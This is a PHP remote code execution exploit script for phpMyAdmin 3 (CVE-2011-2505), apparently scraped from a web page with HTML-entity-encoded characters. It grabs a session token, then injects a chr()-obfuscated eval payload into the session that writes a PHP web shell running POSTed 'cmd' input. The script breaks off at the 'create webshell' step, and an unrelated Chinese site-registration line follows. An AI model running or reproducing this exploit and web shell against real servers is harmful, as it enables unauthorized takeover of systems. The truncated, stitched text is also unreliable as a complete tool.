#!/usr/bin/php
print_r&＃40;\'
+---------------------------------------------------------------------------+
pma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
by oldjun(www.oldjun.com)
welcome to www.t00ls.net
mail: oldjun@gmail.com
Assigned CVE id: CVE-2011-2505
+---------------------------------------------------------------------------+
\'&＃41;;/**
* working when the directory:"config" exists and is writeable.
**/if&＃40;$argc<3&＃41;&＃123;print_r&＃40;\'
+---------------------------------------------------------------------------+
Usage: php \'.$argv&＃91;0&＃93;.\' host path
host: target server (ip/hostname)
path: path to pma3
Example:
php \'.$argv&＃91;0&＃93;.\' localhost /pma/
+---------------------------------------------------------------------------+
\'&＃41;;exit;&＃125;$host=$argv&＃91;1&＃93;;$path=$argv&＃91;2&＃93;;/**
* Try to determine if the directory:"config" exists
**/echo"[+] Try to determine if the directory:config exists....n";$returnstr=php_request&＃40;\'config/\'&＃41;;if&＃40;strpos&＃40;$returnstr,\'404\'&＃41;&＃41;&＃123;exit&＃40;"[-] Exploit Failed! The directory:config do not exists!n"&＃41;;&＃125;/**
* Try to get token and sessionid
**/echo"[+] Try to get token and sessionid....n";$result=php_request&＃40;\'index.php\'&＃41;;preg_match&＃40;\'/phpMyAdmin=(w{32,40});(.*?)token=(w{32})&/s\',$result,$resp&＃41;;$token=$resp&＃91;3&＃93;;$sessionid=$resp&＃91;1&＃93;;if&＃40;$token&&$sessionid&＃41;&＃123;echo"[+] token:$tokenn";echo"[+] Session ID:$sessionidn";&＃125;else&＃123;exit&＃40;"[-] Can\'t get token and Session ID,Exploit Failed!n"&＃41;;&＃125;/**
* Try to insert shell into session
**/echo"[+] Try to insert shell into session....n";
php_request&＃40;\'db_create.php?token=\'.$token.\'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net\',\'\',\'phpMyAdmin=\'.$sessionid&＃41;;//Actually,almost all the php files in home directory of pma3 can be used here./**
* Try to create webshell
京公网安备 11010802041100号